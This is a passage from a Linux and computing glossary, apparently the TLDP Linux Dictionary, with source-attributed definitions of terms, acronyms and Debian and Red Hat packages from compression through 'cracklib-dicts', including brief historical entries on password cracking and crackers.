There are two types: With lossless compression none of the original information is lost. Generally such compression can reduce the file size by about 50%. A popular lossless compression for graphics files is .tga (Targa) or for data .gz and .zip. The other compression method is lossy compression where some of the original information is lost. Lossy compression methods can reduce the file size often by 300% but are unsuitable in many situations. They are particularly useful for the compression of graphic files with JPEG compression being the most popular, especially as they help to reduce bandwidth. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

compromise

To break into a computer is to "compromise" its security. The word "compromise" is used as a synonym for "break into", "crack", "hack", and so on. From Hacking-Lexicon

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

COMPUSEC (computer security InfraGuard)

InfraGuard is an alliance between the FBI and the private sector designed to protect the information infrastructure (i.e. the Internet). InfraGuard provides formal and informal channels for exchanging information (between government and the private sector) about Internet threats and vulnerabilities. InfraGuard is organized into local area chapters throughout the United States, where local private organizations get in touch with the appropriate FBI field office. Contrast: Information is gathered from InfraGuard chapters and funneled up to the NIPC, which analyzes and cleanses the data, and distributes it back out to its members. From Hacking-Lexicon

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Computer Assisted Instruction (CAI)

Teaching process in which a computer is used to enhance the education of a student. From Glossary of Distance Education and Internet Terminology

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

COMTECH

COMputer TECHnologies (fair) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

concatenate

To join two or more files or segments of text to form a single unit. The cat command, which is an abbreviation of this word, concatenates files. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Concatenation

To link together two or more units of information, such as strings or files, so that they form one unit. In spreadsheet programs, concatenation is used to combine text in a formula by placing an ampersand between the formula and text. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CONCERT

Communications for North Carolina Education, Research and Technology (network) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CONCISE

COSINE Network's Central Information Service for Europe (COSINE, network) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Conectiva Linux

Based in Brazil, Conectiva is well-known in South America and has excellent Portuguese and Spanish support. Conectiva is the Latin and South American arm of UnitedLinux. The most current versions (as of April 2003) seem to be Conectiva Linux 9 and Conectiva Linux Enterprise Edition – Powered by UnitedLinux v1.0. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

configlet-frontends

Alternate debconf configuration interface – frontends A "configlet" is a small Python/GNOME/Glade applet designed to load into a frontend application for the purpose of presenting an alternate interface to the standard debconf questions for one or more packages. This package provides a GNOME Druid frontend for the configlets, as well as a caplet interface that plugs configlets into the GNOME Control Center. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Configuration

The choices made in setting up a computer system or an application program so that it meets the user's needs. Properly configuring your system is one of the more onerous tasks of personal computing and is mostly performed via manual alteration of system files in the /etc directory or 'dotfiles' in a user's home directory. Wizards such as the linuxconf and webmin can make such a task much easier. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Configuration file

A file created by an application program that stores the choices you make when you install (or configure) the program so that they're available the next time you start the program. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

configurewrapper

Placeholder for code that should correctly deal with host and build architecture for GNU autoconf-generated configure scripts. From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CONLAN

??? [hardware description language] (HDL) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

conquest

a real-time, curses based, multi-player space warfare game Conquest is a predecessor of netrek. The object of the game is twofold. The short-range goal is to accumulate "kills" by shooting down enemy players. You get one kill point for each enemy ship shot down, plus some extra if the enemy had kills too. The major weapon used to shoot down ships is the photon torpedo. The long-range goal is to conquer the universe for your team by taking every planet. You take planets by killing off the enemy's armies via bombardment, and then beaming your team's armies down. When all the planets have been taken, the game ends, a new game begins, and the player who actually took the last planet gets his/her name up in lights. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cons

A Perl replacement for Make Excerpted from the README file: Cons is a system for constructing, primarily, software, but is quite different from previous software construction systems. Cons was designed from the ground up to deal easily with the construction of software spread over multiple source directories. Cons makes it easy to create build scripts that are simple, understandable and maintainable. Cons ensures that complex software is easily and accurately reproducible. Cons uses a number of techniques to accomplish all of this. Construction scripts are just Perl scripts, making them both easy to comprehend and very flexible. Global scoping of variables is replaced with an import/export mechanism for sharing information between scripts, significantly improving the readability and maintainability of each script. Construction environments are introduced: these are

Perl objects that capture the information required for controlling the build process. Multiple environments are used when different semantics are required for generating products in the build tree. Cons implements automatic dependency analysis and uses this to globally sequence the entire build. Variant builds are easily produced from a single source tree. Intelligent build subsetting is possible, when working on localized changes. Overrides can be setup to easily override build instructions without modifying any scripts. MD5 cryptographic signatures are associated with derived files, and are used to accurately determine whether a given file needs to be rebuilt. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CONS

Connection Oriented Networking Service From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

console

Screen or station at which an administrator operates a computer system. Also called a terminal, shell prompt. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Console Application

A command line program that does not require (or perhaps even offer) a graphical user interface to run. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Console Linux

A general purpose distribution in Portuguese. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

console-log

Keeps a less syslog running on tty9 console-log keeps your syslog and your exim mainlog running in a less process on tty9/tty8. It also makes sure that this console is visible automatically after system boot so that a crashed system at least leaves the syslog readable on the console before reset. Using less makes searching, tagging and highlighting possible. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

console-tools

Linux console and font utilities. This package allows you to set-up and manipulate the Linux console (ie. screen and keyboard), and manipulate console-font files. `console-tools' was developed from version 0.94 of the standard `kbd' package, and integrates many fixes and enhancements, including new kbd features up to 0.99. You will probably want to install a set of data files, such as the one in the `console-data' package. For command-line compatibility with kbd, you may want to install the kbd-compat package. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

consolechars

load EGA/VGA console screen font, screen-font map, and/or application-charset map. From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CONTAC

Central Office NeTwork ACcess From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Contiguous

Adjacent; placed one next to or after the other. A range of cells in a spreadsheet is often, but not always, made up of contiguous cells. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Control code

In ASCII (American Standard for Information Interchange, a code reserved for hardware-control purposes. In Abiword, for example, pressing Ctrl+F calls up the Find dialog box. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

control-C

vi. 1. "Stop whatever you are doing." From the interrupt character used on many operating systems to abort a running program. Considered silly. 2. interj. Among BSD Unix hackers, the canonical

humorous response to "Give me a break!" From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

control-center

GNOME (the GNU Network Object Model Environment) is an attractive and easy-to-use graphical desktop environment. The control-center package provides the GNOME Control Center utilities, which allow you to setup and configure your system's GNOME environment (such as the desktop background and theme, the screensaver, the window manager, system sounds, and mouse behavior). If you install GNOME, you need to install control-center. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

control-O

vi. "Stop talking." From the character used on some operating systems to abort output but allow the program to keep on running. Generally means that you are not interested in hearing anything more from that person, at least on that topic; a standard response to someone who is flaming. Considered silly. Compare control-S. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

control-Q

vi. "Resume." From the ASCII DC1 or XON character (the pronunciation /X-on/ is therefore also used), used to undo a previous control-S. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

control-S

vi. "Stop talking for a second." From the ASCII DC3 or XOFF character (the pronunciation /X-of/ is therefore also used). Control-S differs from control-O in that the person is asked to stop talking (perhaps because you are on the phone) but will be allowed to continue when you're ready to listen to him -- as opposed to control-O, which has more of the meaning of "Shut up." Considered silly. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

convert-metadata.db

convert the GNOME metadata.db file from DB version 1.85 or 2 to DB 3 From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cook

Powerful make replacement Cook is a very powerful and very easy to use replacement for make. Through the use of Cook's powerful description language, and it's many built in functions, sophisticated build can be easily accomplished. Cook supports file fingerprints to speed build times, and also supports parallel builds over a network without requiring contorted build rules. See cook-doc for documentation and cook-rsh for remote execution scripts From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cooked mode

A mode in which input is accepted command line by command line rather than character by character. Cooked mode, the default for the Linux system, is the opposite of raw mode. From Linux Guide

@FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cooked mode

n. [Unix, by opposition from raw mode] The normal character-input mode, with interrupts enabled and with erase, kill and other special-character interpretations performed directly by the tty driver. Oppose raw mode, rare mode. This term is techspeak under Unix but jargon elsewhere; other operating systems often have similar mode distinctions, and the raw/rare/cooked way of describing them has spread widely along with the C language and other Unix exports. Most generally, 'cooked mode' may refer to any mode of a system that does extensive preprocessing before presenting data to a program. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Cookie

The most common meaning of "Cookie" on the Internet refers to a piece of information sent by a Web Server to a Web Browser that the Browser software is expected to save and to send back to the Server whenever the browser makes additional requests from the Server. Depending on the type of Cookie

used, and the Browsers' settings, the Browser may accept or not accept the Cookie, and may save the Cookie for either a short time or a long time. Cookies might contain information such as login or registration information, online "shopping cart" information, user preferences, etc. When a Server receives a request from a Browser that includes a Cookie, the Server is able to use the information stored in the Cookie. For example, the Server might customize what is sent back to the user, or keep a log of particular users' requests. Cookies are usually set to expire after a predetermined amount of time and are usually saved in memory until the Browser software is closed down, at which time they may be saved to disk if their "expire time" has not been reached. Cookies do not read your hard drive and send your life story to the CIA, but they can be used to gather more information about a user than would be possible without them. From Matisse

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cookietool

A team of programs to help you maintain your cookie database The "cookietool" itself eliminates duplicate entries, sorts cookies alphabetically or by size if you wish. The "cdbsplit" extracts parts of the database to a separate file, by keyword, by size, by number, or as groups of 'similar' cookies. The "cdbdiff" compares two cookie databases. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

COOL

COBOL Object Orientated Language (OOP, COBOL) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Cool Linux CD

Cool Linux CD is a bootable CD that contains a live Linux distribution based on Red Hat 7.3. It also includes the XFS filesystem, devfs, IceWM, QVWM, ROX-filer, OpenOffice.org, Opera, Mozilla, Sylpheed, Pan, Licq, X-chat, GFTP, ppp-redialer, xmms, xine, mplayer, gqview, LinNeighborhood, IPTraffic, VMWare, and more. Initial version 1.30 was released August 13, 2002. Version 2.01 was released November 24, 2002. A CD-based distribution. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cooledit

A portable, fast X Window text editor with beautiful 3D widgets. It requires only the X11 library to run. The engine is the same as that used for the internal editor of the Midnight Commander and hence cooledit represents a X Window version of that editor. The library that comes with Cooledit is now standalone. You can use it to write your own Cool applications. Check out the included programs Coolman and Smalldedit. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

coolicon

Displays pixmap (.XPM) files as icons on the desktop. Each icon presents a menu (right-click) from where the user can perform various operations. Each icon has two user configurable scripts which are executed on receiving a drop event or on running the icon with a double-click. The icons scripts' as well as other properties can be modified through a dialog box accessible through each icon's menu.

The scripts can directly manipulate a received drop event making it easy to program Trash Cans, Printer icons and so on. Several useful example icons are given. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

coolmail

Mail notifier with 3d graphics Coolmail is like xbiff -- it watches your inbox mail file and lets you know when you have mail. But unlike xbiff, it can launch your favorite mail utility when you click on it, and it has cool animated 3D graphics. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

coolman

Man page viewer using the Cool Widget library. This man page reader just views the output of the man system command, with a nice point and click, drag and drop, GUI. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

copyleft

/kop'ee-left/ n. [play on `copyright'] 1. The copyright notice (`General Public License') carried by GNU EMACS and other Free Software Foundation software, granting reuse and reproduction rights to all comers (but see also General Public Virus). 2. By extension, any copyright notice intended to achieve similar aims. From Jargon Dictionary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

copyleft

Free Software Foundation license notice that details the use and distribution rights of the licensed software and the user of that software. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

coq

a proof assistant for higher-order logic. Coq is a proof assistant for higher-order logic, which allows the development of computer programs consistent with their formal specification. It is developed using Objective Caml and Camlp4. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CORAN

Communication ORiented Application aNalysis From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CORBA

an architecture and specification for creating, distributing, and managing distributed program objects in a network. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CORBA

Common Object Request Broker Architecture (OMG) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CORDIS

COmmunity Research and Development Information Service (Europe) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

core

A core file is created when a program terminates unexpectedly, due to a bug, or a violation of the operating systems or hardwares protection mechanisms. The operating system kills the program and creates a core file that programmers can use to figure out what went wrong. It contains a detailed description of the state that the program was in when it died. If would like to determine what program a core file came from, use the file command, like this: \$ file core That will tell you the name of the program that produced the core dump. You may want to write the maintainer(s) of the program, telling them that their program dumped core. To Enable or Disable Core Dumps you must use the ulimit command in bash, the limit command in tesh, or the rlimit command in ksh. See the appropriate manual page for details. This setting affects all programs run from the shell (directly or indirectly), not the whole system. If you wish to enable or disable core dumping for all processes by default, you can change the default setting in /usr/include/linux/sched.h. Refer to definition of INIT_TASK, and

look also in /usr/include/linux/resource.h. PAM support optimizes the system's environment, including the amount of memory a user is allowed. In some distributions this parameter is configurable in the /etc/security/limits.conf file. From Linux Administrator's Security Guide. <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

core

n. Main storage or RAM. Dates from the days of ferrite-core memory; now archaic as techspeak most places outside IBM, but also still used in the Unix community and by old-time hackers or those who would sound like them. Some derived idioms are quite current; 'in core', for example, means 'in memory' (as opposed to 'on disk'), and both core dump and the 'core image' or 'core file' produced by one are terms in favor. Some varieties of Commonwealth hackish prefer store. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

core dump

a copy of the contents of core, produced when a process is aborted by certain kinds of internal error. It is useful to determine the nature of a program crash. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Core dump

In mainframe computing, a debugging technique that involved printing out the entire contents of the computer's core, or memory. In slang, the term refers to a person who, when asked a simple question, recites everything he or she remembers about a subject. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

core dump

n. [common Iron Age jargon, preserved by Unix] 1. [techspeak] A copy of the contents of core, produced when a process is aborted by certain kinds of internal error. 2. By extension, used for humans passing out, vomiting, or registering extreme shock. "He dumped core. All over the floor. What a mess." "He heard about X and dumped core." 3. Occasionally used for a human rambling on pointlessly at great length; esp. in apology: "Sorry, I dumped core on you". 4. A recapitulation of knowledge (compare bits, sense 1). Hence, spewing all one knows about a topic (syn. brain dump), esp. in a lecture or answer to an exam question. "Short, concise answers are better than core dumps" (from the instructions to an exam at Columbia). See core. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

coreutils

These are the GNU core utilities. This package is the union of the old GNU fileutils, sh-utils, and textutils packages. These tools're the GNU versions of common useful and popular file & text utilities which are used for:– file management– shell scripts– modifying text file (splitting, joining, comparing, modifying, ...) Most of these programs have significant advantages over their Unix counterparts, such as greater speed, additional options, and fewer arbitrary limits. The following tools are included: basename cat chgrp chmod chown chroot cksum comm cp csplit cut date dd df dir dircolors dirname du echo env expand expr factor false fmt fold ginstall groups head hostid hostname id join kill link ln logname ls md5sum mkdir mkfifo mknod mv nice nl nohup od paste pathchk pinky pr printenv printf ptx pwd rm rmdir seq sha1sum shred sleep sort split stat stty su sum sync tac tail tee test touch tr true tsort tty uname unexpand uniq unlink uptime users vdir wc who whoami yes From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

corewars

The classic corewars game with gtk-look. Corewars is a game which simulates a virtual machine with a number of programs. Each program tries to crash the others. The program that lasts the longest time wins. A number of sample programs are provided and new programs can be written by the player. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

coriander

control IEEE1394 digital camera Coriander is a GUI that lets you control all the features of an IEEE-1394 Digital Camera complying with the DC Specifications v1.04 or later (see <http://www.1394ta.org>). From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

corkscrew

Tunnel TCP connections through HTTP proxies corkscrew is a simple tool to tunnel TCP connections through an HTTP proxy supporting the CONNECT method. It reads stdin and writes to stdout during the connection, just like netcat. It can be used for instance to connect to an SSH server running on a remote 443 port through a strict HTTPS proxy. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Corrupted file

A file that contains scrambled and unrecoverable data. Files can become corrupted due to bad sectors (surface flaws on the disk), hard or floppy disk drive controller failures, or software errors. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

COST

COpenhagen SGML Tool (SGML), "CoST" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cost

General-purpose SGML/XML post-processing tool. Cost is a structure-controlled SGML/XML application programming tool. It is implemented as a Tcl extension, and works in conjunction with James Clark's nsgmls, sgmls, and/or expat parsers. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

COT

Central Office Terminal From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

COTP

Connection-Oriented Transport Protocol (OSI, ISO 8073) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

COTS

Connection-Oriented Transport [layer] Service From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

countrycodes

ISO 3166 country code finder This ISO 3166 country code finder is mainly used to find out to which country a domain name belongs. It allows searching by 2- or 3-letter codes, country number, or country name. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

courier

Courier Mail Server Base System The Courier mail transfer agent (MTA) is an integrated mail/groupware server based on open commodity protocols, such as ESMTP, IMAP, POP3, LDAP, SSL, and HTTP. Courier provides ESMTP, IMAP, POP3, webmail, and mailing list services within a single, consistent, framework. This package provides the functionality needed by all Debian courier packages like some configuration files, helper programs and the Courier TCP server daemon. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

COW

Character Orientated Windows (MS, SAA, UI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cowsay

a configurable talking cow Turns text into happy ASCII cows, with speech balloons. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Cox, Alan

An important developer of the Linux kernel including developing Linux networking, SMP. Other projects he has worked on include Linux/SGI, Linux/Mac68K, Linux/8086 ports, TV card drivers and Linux sound. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Coyote Linux

Coyote Linux v1.x (Floppy Release) is designed to run entirely from a floppy and does not require a hard drive or CDROM to be present in the system that it runs on. Creation of a Coyote Linux floppy can be done with either a Linux shell script or a Windows Wizard, both of which are available from the Coyote Linux download sites. Coyote Linux 1.32 was released January 6, 2003. Development version 2.0.0-pre5 was released June 18, 2003. Another project, the Fury IP Load Balancer, has been spun off the ECL base. Wolverine Alpha 1, a firewall and VPN product based on Embedded Coyote, was released January 15, 2002. Wolverine 1.0.283 was released November 12, 2002. A floppy-based distribution. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cpanel

Debian Chinese Panel Debian Chinese Panel is a part of Debian Chinese Project. It aims to provide a user friendly interface for users to use Chinese in Debian GNU/Linux. Debian Chinese Panel is a program which can allow users to use/config Chinese software more easily. Another aim is that, users who want to use Chinese simply just install this package. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cpbk

a mirroring utility for backing up your files Backup Copy is basically a smart copy program that allows a user to copy mass files from one place to another. When coping over a previous copy, the key features will allow copying only of new or non existing files in the backup. This results in saving time and less load on the drive. Built into the same feature of copying new files only, is a file removal procedure. If a file is removed from the source path, the same file will be removed when the next backup is performed. This provides a backup that is exactly the same as the source without filling up the drive. As an added option, all files that will be overwritten or deleted when doing a copy over a previous backup, have the opportunity to be stored in a trash bin. You can leave this trash bin to grow and grow just in case you need a backup of your backup. When you start running out of disk space you will need to remove or clean up the trash bin. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CPC

- CPIC** Common Programming Interface for Communications (IBM, SAA, API), "CPI/C" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- cpif** selectively update files From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- cpio** copy files to and from archives From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- CPIO** CoPy In/Out (Unix) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- cpio** GNU cpio -- a program to manage archives of files. GNU cpio is a tool for creating and extracting archives, or copying files from one place to another. It handles a number of cpio formats as well as reading and writing tar files. This package also includes rmt, the remote tape server, and GNU mt, a tape drive control program. The mt program is essential for magnetic tape drive users. Debian's version of GNU mt supports SCSI tape drives. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- cpio** GNU cpio copies files into or out of a cpio or tar archive. Archives are files which contain a collection of other files plus information about them, such as their file name, owner, timestamps, and access permissions. The archive can be another file on the disk, a magnetic tape, or a pipe. GNU cpio supports the following archive formats: binary,old ASCII, new ASCII, crc, HPUX binary, HPUX old ASCII, old tar and POSIX.1tar. By default, cpio creates binary format archives, so that they are compatible with older cpio programs. When it is extracting files from archives, cpio automatically recognizes which kind of archive it is reading and can read archives created on machines with a different byte-order. Install cpio if you need a program to manage file archives. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- CPIRR** Common Programming Interface Resource Recovery (IBM, SAA) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cpp

Cpp is the GNU C-Compatible Compiler Preprocessor. Cpp is a macroprocessor which is used automatically by the C compiler to transform your program before actual compilation. It is called a macro processor because it allows you to define macros (abbreviations for longer constructs). The C preprocessor provides four separate functionalities: the inclusion of header files (files of declarations that can be substituted into your program); macro expansion (you can define macros and the C preprocessor will replace the macros with their definitions throughout the program); conditional compilation (using special preprocessing directives, you can include or exclude parts of the program according to various conditions); and line control (if you use a program to combine or rearrange source files into an intermediate file which is then compiled, you can use line control to inform the compiler about where each source line originated). From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cpp

The GNU C preprocessor. The GNU C preprocessor is a macro processor that is used automatically by the GNU C compiler to transform programs before actual compilation. This package has been separated from gcc for the benefit of those who require the preprocessor but not the compiler. This is a dependency package providing the default GNU C preprocessor for Debian GNU/Linux systems (version 2.95.4 for architecture i386). From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CPPS

Card / Paper tape Programming System (OS, IBM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cppunit

The Unit Testing Library for C++ CppUnit is a simple Framework for incorporating test cases in your C++ code. It is similar to, and inspired by, xUnit and JUnit. For more information on CppUnit visit the project homepage <http://cppunit.sourceforge.net/> . From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cproto

generate C function prototypes and convert function definitions Cproto is a program that generates function prototypes and variable declarations from C source code. It can also convert function definitions between the old style and the ANSI C style. This conversion overwrites the original files, so make a backup copy of your files in case something goes wrong. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CPS

Central Processing System From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CPS

Characters Per Second From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CPSI

Configurable PostScript Interpreter From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CPSR

Computer Professionals for Social Responsibility (org., USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CPU

Central Processing Unit From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CPU

see central processing unit (CPU). From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CPU cache

A memory bank between the main memory and the CPU, which lets the computer read data and execute instructions faster. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CPUID

Central Processing Unit IDentifier (CPU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cpuid

Intel and AMD x86 CPUID display program The program displays the vendor ID, Processor specific features, the processor name string, different kinds of instruction set extensions present, L1/L2 Cache information etc for the Processor on which it is running. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cqcam

Color QuickCam (PC/Parallel) control program gtkcam – camera with gtk libs xcqcam – cam for X11 / control panel by tk cqcam – capture a single picture, does not require X Features: * Automatic

brightness and color adjustments * Batchable output, perfect for a webcam * Support for "millions" (24bpp) and "billions" (32bpp) modes * Nearly lossless on-the-fly despeckling (removal of the "Christmas lights" effect) * X11 front-end and control panel, with Floyd dithering for 8bpp displays * Support for images up to 640x480 * 24-bit PPM output From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CR

Carriage Return (ASCII) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

crack

To decrypt a password, or to bypass a copy protection scheme. See crackz for more about copy protection. History: When the UNIX operating system was first developed, passwords were stored in the file /etc/passwd. This file was made readable by everyone, but the passwords were encrypted so that a user could not figure out who a person's password was. The passwords were encrypted in such a manner that you could test a password to see if it was valid, but you really couldn't decrypt the entry. (Note: not even administrators are able to figure out user's passwords; they can change them, but not decrypt them). However, a program called "crack" was developed that would simply test all the words in the dictionary against the passwords in /etc/passwd. This would find all user accounts whose passwords were chosen from the dictionary. Typical dictionaries also included people's names since a common practice is to choose a spouse's or child's name. Contrast: A "crack" program is one that takes existing encrypted passwords and attempts to find some that are "weak" and easily discovered. However, it is not a "password guessing" program that tries to login with many passwords, that is known as a grind. Key point: The sources of encrypted passwords typically include the following: /etc/passwd from a UNIX system SAM or SAM._ from a Windows NT system <username>.pwl from a Windows 95/98 system sniffed challenge hashes from the network. Key point: The "crack" program is a useful tool for system administrators. By running the program on their own systems, they can quickly find users who have chosen weak passwords. In other words, it is a policy enforcement tool. Tools: on UNIX, the most commonly used program is called simply "crack". On Windows, a popular program is called "l0phtCrack" from <http://www.l0pht.com/>. From Hacking-Lexicon
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

crack-attack

multiplayer OpenGL puzzle game like "Tetris Attack" Crack Attack is an OpenGL puzzle game based on the Super Nintendo game "Tetris Attack". Slowly, your stack of colored blocks grows from the bottom, and you've got to make sure it never reaches the top. If it does, you lose. To eliminate blocks from the stack, line up at least three of one color, horizontally or vertically. Once you do, those blocks disappear, and put off slightly your inevitable demise. Crack Attack is very slow without hardware acceleration. For XFree users, this means you want DRI. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Cracker

A computer user who illegally visits networked computers to look around and/or cause harm. A criminal. From Glossary of Distance Education and Internet Terminology
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cracker

A specific type of hacker who decrypts passwords or breaks software copy protection schemes (creating "crackz"). Also, a generic name used by some to refer to all "malicious" hackers. Controversy: This work is extremely controversial. See the word hacker for a discussion about the way that "cracker" is used in the computer enthusiast community vs. the security community. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cracker

One who explores and exploits flaws in computer systems and networks for malicious purposes. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cracklib

CrackLib tests passwords to determine whether they match certain security-oriented characteristics, with the purpose of stopping users from choosing passwords that are easy to guess. CrackLib performs several tests on passwords: it tries to generate words from a username and gecos entry and checks those words against the password; it checks for simplistic patterns in passwords; and it checks for the password in a dictionary. CrackLib is actually a library containing a particular C function which is used to check the password, as well as other C functions. CrackLib is not a replacement for a passwd program; it must be used in conjunction with an existing passwd program. Install the cracklib package if you need a program to check users' passwords to see if they are at least minimally secure. If you install CrackLib, you will also want to install the cracklib-dicts package. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cracklib-dicts

